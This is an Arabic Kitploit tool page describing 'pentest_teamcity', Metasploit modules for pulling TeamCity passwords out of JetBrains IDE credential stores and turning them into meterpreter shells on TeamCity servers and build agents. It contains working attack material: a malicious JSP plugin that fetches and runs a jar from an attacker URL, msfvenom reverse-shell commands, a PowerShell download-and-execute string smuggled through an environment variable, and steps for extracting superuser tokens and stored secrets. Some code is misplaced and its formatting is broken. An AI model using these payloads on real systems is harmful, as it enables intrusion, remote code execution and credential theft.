Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pentest_teamcity — اختبار اختراق TeamCity باستخدام Metasploit | Kitploit
أدوات/GitHubGitHub/kacperszurek/pentest_teamcity
أطر الاستغلالتوليد الحمولةاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالفريق الأحمر
GitHubkacperszurek/pentest_teamcity

pentest_teamcity

اختبار اختراق TeamCity باستخدام Metasploit

عرض المستودع
4582منذ 8 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

اختبار اختراق TeamCity باستخدام Metasploit

ملخص: الحصول على كلمات المرور من JetBrains IDE (مثل IntelliJ أو PyCharm) واستخدام تلك البيانات داخل خادم TeamCity للتكامل المستمر للحصول على جلسة meterpreter على الخادم ووكلاء البناء باستخدام metasploit بواسطة Kacper Szurek.

وحدة Jetbrains.rb

شيل على الخادم

شيل على الوكلاء

شيل على وكلاء ويندوز

تعليق JetBrains

هذا تعليق من البائع (فريق TeamCity من JetBrains) بواسطة Yegor Yarko:

معظم محتوى المقال يصف كيف يمكن للمستخدمين الخبيثين إساءة استخدام TeamCity إذا تم منحهم الصلاحيات بشكل شرعي. على سبيل المثال، يمكن للمستخدم الذي لديه دور مسؤول النظام (يمنح السيطرة الكاملة على الخادم) تثبيت إضافة خبيثة لـ TeamCity أو الحصول على رمز مميز للوصول "المستخدم الفائق" إلى الخادم. أيضًا، يمكن لمن لديه دور مسؤول المشروع تشغيل كود عشوائي على الوكيل أو استرداد كلمات مرور الوصول إلى المستودعات المكونة. هذا السلوك هو جزء من الوظائف التي يوفرها TeamCity كمنتج. هذه الاعتبارات موصوفة في من توثيق TeamCity.

OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` سيسمح هذا بتحميل وتنفيذ Meterpreter. الملف `.jar` المجمّع موجود [هنا](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip).
القسم ذي الصلة

المشكلات الموصوفة تشير إلى مدى خطورة تزويد جهة خبيثة بصلاحيات عالية. يجب على مسؤولي خادم TeamCity مراجعة أذونات المستخدمين بانتظام لتجنب منح أي صلاحيات للمستخدمين الخبيثين المحتملين قد يساء استخدامها؛ ومراجعة صلاحيات المستخدم الضيف، إذا كانت مفعلة. نقطة أخرى هي عدم ترك المحطات الطرفية دون مراقبة أثناء تسجيل الدخول في أي مكان بصلاحيات غير تافهة.

مع ذلك، تم ذكر ثغرتين أمنيتين فعليتين في المقال: الأولى تتعلق بنشر قطعة بناء خبيثة وجعل مسؤول يعرضها في المتصفح، والثانية هي تصعيد صلاحية تشغيل بناء مخصص إلى تنفيذ كود عشوائي على وكيل TeamCity. للأخيرة تأثيرات طفيفة فقط على معظم تثبيتات TeamCity حيث أن من لديهم هذه الصلاحية غالبًا ما لديهم بالفعل القدرة على تنفيذ أي كود على الوكيل.

ومع ذلك، سنقوم بمعالجة هذه المخاوف في أحد إصدارات TeamCity القادمة، ونشكركم على لفت انتباهنا إليها.

مقدمة

لنفترض أنك تقوم باختبار اختراق داخل شركة برمجيات تستخدم مجموعة أدوات Jetbrains. أنت تستخدم metasploit وتحصل على جلسة meterpreter على جهاز المطور.

ماذا يمكنك أن تفعل بعد ذلك؟ هناك مقال واحد حول اختبار اختراق TeamCity بواسطة Nikhil SamratAshok Mittal من عام 2015.

في هذا المنشور، أجمع عدة تقنيات من ملاحظات الأمان وBugTrack وأضعها في وحدة Metasploit.

ملاحظة: أنا لا أستخدم أي ثغرات 0-day هنا. لكل إجراء، تحتاج إلى بيانات اعتماد صالحة لـ TeamCity. انظر تعليق JetBrains.

أنا لست مسؤولاً عن أي ضرر ناتج عن هذا السكريبت. لسلامة البيانات، استخدم set CLEANUP false.

تم الاختبار على TeamCity 2017.2.1 (build 50732).

فهرس المحتويات

  • تعليق JetBrains
  • التثبيت
  • الحصول على كلمات المرور من JetBrains IDE
    • وحدة JetBrains metasploit
  • اختبار اختراق خادم TeamCity
    • شيل على الخادم
    • شيل على وكلاء البناء
    • شيل على وكلاء البناء لنظام ويندوز
    • المستخدم الفائق
    • بيانات الاعتماد المحفوظة
    • حساب المسؤول باستخدام XSS
    • المستخدم الضيف
    • وحدة TeamCity metasploit
  • استكشاف الأخطاء وإصلاحها

التثبيت

لفك تشفير قاعدة بيانات KeePass، نحتاج إلى مكتبة Ruby kdbx.

  1. ابحث عن ملف gem: find / -name "metasploit-framework.gemspec"
  2. قم بتعديله، بالنسبة لـ Kali Linux هو: vim /usr/share/metasploit-framework/metasploit-framework.gemspec
  3. أضف: spec.add_runtime_dependency 'kdbx', '0.2.0'
  4. cd /usr/share/metasploit-framework/ && bundle install

الآن يمكنك:

  1. mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/post
  2. انسخ teamcity.rb و serverplugin.zip إلى ~/.msf4/modules/exploits
  3. انسخ jetbrains.rb إلى ~/.msf4/modules/post
  4. شغل وحدة تحكم Metasploit msfconsole
  5. أعد تحميل الإضافات reload_all

الحصول على كلمات المرور من JetBrains IDE

يمكن دمج TeamCity بسهولة مع جميع JetBrains IDE باستخدام إضافة.

نافذة تسجيل الدخول لتكامل TeamCity

إذا تم استخدام خيار تذكرني، يتم تخزين كلمات المرور باستخدام IntelliJ Platform Credentials Store API. يمكنك العثور على الكود المصدري هنا.

إجراء فك التشفير على ويندوز يبدو كالتالي:

مخطط كلمات المرور

  1. يتم فك تشفير ملف pdb.pw باستخدام Windows CryptUnprotectData. هذا يعني أنه فقط المستخدم الذي قام بتشفير البيانات يمكنه فك تشفيرها.
  2. يتم فك تشفير الكتلة الثنائية باستخدام AES-128-CBC مع كلمة مرور ثابتة. هذه الكلمة لا تتغير وهي نفسها لكل منتج وتثبيت.
  3. يمكن الآن فك تشفير قاعدة بيانات KeePass c.kdbx باستخدام كلمة المرور الرئيسية من النقطة 2.
  4. يتم XOR كلمات المرور باستخدام 0xDFAA

بشكل افتراضي، كلمة المرور الرئيسية عشوائية. يمكن تغييرها داخل الخيارات:

تغيير كلمة المرور الرئيسية

لكن هذا لا يغير شيئًا.

هذا يعني فقط أن قاعدة بيانات KeePass c.kdbx سيتم تشفيرها باستخدام كلمة مرور مختلفة. لا يزال بإمكان المستخدم المحلي الحصول بسهولة على هذه الكلمة من ملف pdb.pw.

وحدة JetBrains metasploit

لنفترض أن لديك جلسة Meterpreter صالحة مع `#1```` use post/jetbrains set SESSION 1 exploit

root@kitploit:~
يبدو الإخراج كما يلي:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

اختبار اختراق خادم TeamCity

لديك الآن بيانات اعتماد TeamCity من وحدة JetBrains metasploit. بناءً على دور المستخدم الحالي، يمكنك:

وضع التفويض البسيط

شل على الخادمشل على وكلاء البناءمستخدم فائقبيانات اعتماد محفوظة
مدير✔️✔️✔️✔️
لجميع المشاريع
مستخدم مسجل الدخول❌✖️
فقط على وكلاء Windows
❌❌
مستخدم ضيف❌❌❌❌

وضع التفويض لكل مشروع:

شل على الخادمشل على وكلاء البناءمستخدم فائقبيانات اعتماد محفوظة
مسؤول النظام✔️✔️✔️✔️
لجميع المشاريع
مسؤول المشروع❌✔️❌✔️
مطور المشروع❌✖️
فقط على وكلاء Windows
❌❌
مشاهِد المشروع❌❌❌❌

يرجى ملاحظة أن وحدة metasploit لا تدعم الأدوار المخصصة.

شل على الخادم

يمكن توسيع TeamCity بسهولة باستخدام الإضافات.

Plugins list

باستخدام هذه الوظيفة، يمكن إنشاء إضافة ضارة تقوم بتشغيل جلسة meterpreter.

  1. قم بإنشاء إضافة ضارة باستخدام هذا البرنامج التعليمي. داخل Hello.jsp ضع: ```java <%@ page import="java.io.File" %>
  1. انتقل إلى Server Administration->Diagnostics->Browse Data Directory وارفَع المكون الإضافي إلى مجلد plugins. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)

Upload plugin

  1. أعد تشغيل الخادم باستخدام Server Administration->Diagnostics->Troubleshooting->Restart server (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)

Restart server

  1. الآن يمكنك تنفيذ أي ملف .jar باستخدام http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jar

شيل على وكلاء البناء

إن وكيل بناء TeamCity هو قطعة برمجية تستمع للأوامر من خادم TeamCity وتبدأ عمليات البناء الفعلية. يتم تثبيته وتكوينه بشكل منفصل عن خادم TeamCity. يمكن تثبيت الوكيل على نفس جهاز الخادم أو على جهاز مختلف.

يبدو الاستغلال بهذا الشكل:

Shell on Build Agents

بكلمات بسيطة: نقوم بتوليد Meterpreter لجافا والذي يتم استضافته على خادم git. ثم ننشئ تكوين بناء يقوم بتحميل Meterpreter الخاص بنا من خادم git وتشغيله على الوكلاء باستخدام سطر الأوامر.

1. توليد حمولة Meterpreter: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar

2. استضف meterpreter.jar على خادم Git (على سبيل المثال باستخدام https://gogs.io/)

3. إذا كان لديك صلاحيات مسؤول النظام يمكنك إنشاء مشروع جديد (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). إذا كنت مطور مشروع فستحتاج إلى تعديل المشروع الذي لديك وصول إليه.

Create project

4. أضف جذر VCS إلى مشروعك باستخدام البيانات من النقطة 2

Add VCS root

5. أنشئ تكوين بناء جديد

Build configuration

6. أضف خطوة بناء إلى تكوين البناء

Create build step

المفتاحالقيمة
نوع المشغلسطر الأوامر
تنفيذ الخطوةدائمًا، حتى لو صدر أمر إيقاف البناء
تشغيلملف قابل للتنفيذ مع وسائط
الملف التنفيذي للأمر%teamcity.agent.jvm.java.home%/bin/java
وسائط الأمر-jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar

7. تجهيز معالج metasploit المتعدد: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit

root@kitploit:~
8. تشغيل بناء مخصص شخصي على جميع العوامل المتوافقة

![Run build](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## شل على عوامل بناء Windows

بشكل افتراضي، لا يستطيع `Project Developer` تعديل/إنشاء خطوات البناء.

لذلك ليس من الممكن إضافة وتنفيذ سطر الأوامر الخبيث الخاص بنا.

يمكننا محاولة تجاوز ذلك على Windows باستخدام [متغيرات البيئة المخصصة ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). كيف؟

يدعم Teamcity [التحقق من git على العامل](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).

قبل تنفيذ خطوة البناء، يقوم العامل بتنزيل أحدث البيانات من خادم git:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

يتحقق الوكيل من وجود متغير البيئة TEAMCITY_GIT_PATH. إذا كان موجودًا، يُستخدم كمسار لملف git الثنائي.

في مشروع TeamCity، يمكن للمطور تشغيل بناء لديه صلاحية الوصول إليه وتحديد متغيرات بيئة مخصصة.

لذا نقوم بتعيين env.TEAMCITY_GIT_PATH إلى:``` "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

root@kitploit:~
![Build with environment variable](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

في سجلات البناء، يبدو هذا كالتالي:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

المستخدم المتميز (Super User)

يحتوي TeamCity على ما يُعرف بـ حساب المستخدم المتميز. يتيح لك الوصول إلى واجهة الخادم بصلاحيات مسؤول النظام إذا كنت لا تتذكر بيانات الاعتماد أو تحتاج إلى إصلاح الإعدادات المتعلقة بالمصادقة.

إذا كانت لديك صلاحيات System Administrator، فانتقل إلى Server Administration->Diagnostics->Server logs->teamcity-server.log وابحث عن السلسلة النصية Super user authentication token (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):``` [2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.

root@kitploit:~
يمكنك الآن تسجيل الدخول باستخدام: `http://teamcity/login.html?super=1`

## البيانات المحفوظة

يخزن TeamCity أشياء مثل `كلمات مرور جذر VCS` أو `معلمات كلمة المرور` أو `مفاتيح SSH` في شكل مشفر ولا يظهر محتوياتها على الواجهة الإلكترونية أو واجهة API.

ولكن يمكن تجاوز ذلك باستخدام وظيفة `export`. انتقل إلى **مشروعك->تصدير الإعدادات->تصدير**

![Project export](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

تبدو هذه الملفات كما يلي:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

تبدأ السلاسل المشفرة بـ zxx ويتم ترميزها باستخدام DES بمفتاح ثابت.

حساب المسؤول باستخدام XSS

كما نقرأ في متعقب الأخطاء في TeamCity #TW-27206: يمكن للبيانات الضارة في نتائج البناء أن تبدأ هجوم XSS.

حاليًا، يتم عرض جميع ملفات .html (وبعض الملفات الأخرى) من نتائج البناء في المتصفح عند النقر عليها.

لقد أنشأت مقتطف كود صغير يحاول إنشاء حساب مسؤول جديد.

كيف قد يبدو هذا الهجوم؟ نحاول إقناع المسؤول بزيارة قطعتنا الأثرية الخبيثة المتوفرة في عنوان URL مثل هذا http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html.

XSS

مستخدم ضيف

يتيح لك TeamCity تشغيل تسجيل دخول الضيف الذي يسمح بالوصول المجهول لواجهة مستخدم TeamCity على الويب.

يمكن لمسؤول الخادم تمكين تسجيل دخول الضيف في صفحة الإدارة | المصادقة.

يمكنك استخدام هذا للحصول على نتائج البناء.

وحدة ميتاسبليت الخاصة بـ TeamCity

الاستخدام الأساسي:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit

root@kitploit:~
تبدو المخرجات هكذا:

خيارات إضافية:

| الاسم | الوصف |
|:---:|:---:|
|PROJECT_ID|تحديد معرف المشروع، افتراضيًا سيُنشئ مشروعًا عشوائيًا جديدًا|
|BUILD_TYPE_ID|تحديد معرف نوع البناء، افتراضيًا سيُنشئ نوع بناء عشوائيًا جديدًا|
|VCS_ID|تحديد معرف VCS، افتراضيًا سيُنشئ VCS عشوائيًا جديدًا|
|CLEANUP|حذف المشروع/البناء/Jذر VCS الذي تم إنشاؤه|
|SERVER_PLUGIN|المسار إلى [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|المسار إلى دليل GIT|

# استكشاف الأخطاء وإصلاحها

  1. لا أستطيع تحميل وحدات Metasploit

  تحقق مرة أخرى من نسخ `teamcity.rb` إلى دليل `~/.msf4/modules/exploits` و `jetbrains.rb` إلى دليل `~/.msf4/modules/post`.
  يتطلب Metasploit أن تكون وحدات الاستغلال داخل دليل `exploits` ووحدات ما بعد الاستغلال داخل دليل `post`.

  2. تحذير! لا يمكن تحميل الوحدات التالية! LoadError لا يمكن تحميل ملف -- kdbx

  هل قمت بتثبيت [وحدة kdbx](#installation)؟ إذا كانت الإجابة بنعم، اخرج من Metasploit وشغّلها مرة أخرى. استخدم الأمر `reload_all`.

  3. لا أستطيع الحصول على كلمات المرور من IDE المثبت على Mac/Linux

  حاليًا يتم دعم Windows فقط. آسف.

  4. فشلت المهمة اللاحقة: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: فشلت العملية: 1

  ربما تستخدم java meterpreter. لا يحتوي على بعض واجهات برمجة التطبيقات المهمة. انتقل إلى `windows/meterpreter/reverse_tcp` وحاول مرة أخرى.

  5. التشغيل كـ SYSTEM، لا يمكن فك تشفير البيانات

  لأن كلمات المرور مشفرة باستخدام واجهة برمجة التطبيقات `CryptUnprotectData`، تحتاج وظيفة فك التشفير إلى التشغيل في سياق حساب المستخدم العادي.

  6. لا أحصل على [شل على الخادم](#shell-on-server)

  شغّل الاستغلال مرة ثانية.

  7. `teamcit.rb` لا يعمل حتى لو كان المستخدم الحالي لديه صلاحيات كافية

  لا تدعم هذه الوحدة الأدوار المخصصة.

  8. لا يمكن العثور على git داخل %path%. يرجى تغيير GIT_PATH

  نحتاج إلى ثنائي `git` و `git-upload-pack` لإعداد خادم Git الذي سيستضيف meterpreter الخاص بنا. أستخدم الفكرة من [هنا](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).

    ```
    set GIT_PATH /your/path/to/git/dir
    ```

  9. لا يمكن تسجيل الدخول كـ `username:password`

  تحقق من بيانات الاعتماد:

    set USERNAME your_user_name
    set PASSWORD your_password

  10. لا يمكن العثور على البرنامج المساعد للخادم: %path%. يرجى تعديل SERVER_PLUGIN

  حدد مكان تخزين [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)

    set SERVER_PLUGIN /your/path/to/serverplugin.zip

  11. [-] فشل الاستغلال: Rex::RuntimeError المورد المقدم تمت إضافته بالفعل.

  قم بإنهاء المهام الخلفية باستخدام `jobs -K`

  12. يرجى ربط LHOST بعنوان IP محدد، وليس بـ 0.0.0.0

  اربط بعنوان IP محدد، على سبيل المثال:  ```
  use LHOST 192.168.1.123
  1. تم إحباط الاستغلال بسبب فشل: غير معروف: لا يمكن تعديل %project_name%

ليس لديك أذونات للمشروع المحدد. انظر إلى أي مشروع لديك حق الوصول إليه، أي: ``` You can modify only following projects: ["test", "second"]

root@kitploit:~
ثم حدد project id:  ```
set PROJECT_ID test
  1. لماذا يتوفر فقط java/meterpreter/reverse_tcp؟

لأنه محمول. لا تتردد في تعديل دالة is_payload_compatible?.

  1. مشاكل أخرى

تفعيل التصحيح:

root@kitploit:~
set HttpTrace 1
set LogLevel 3
تنزيل الأداة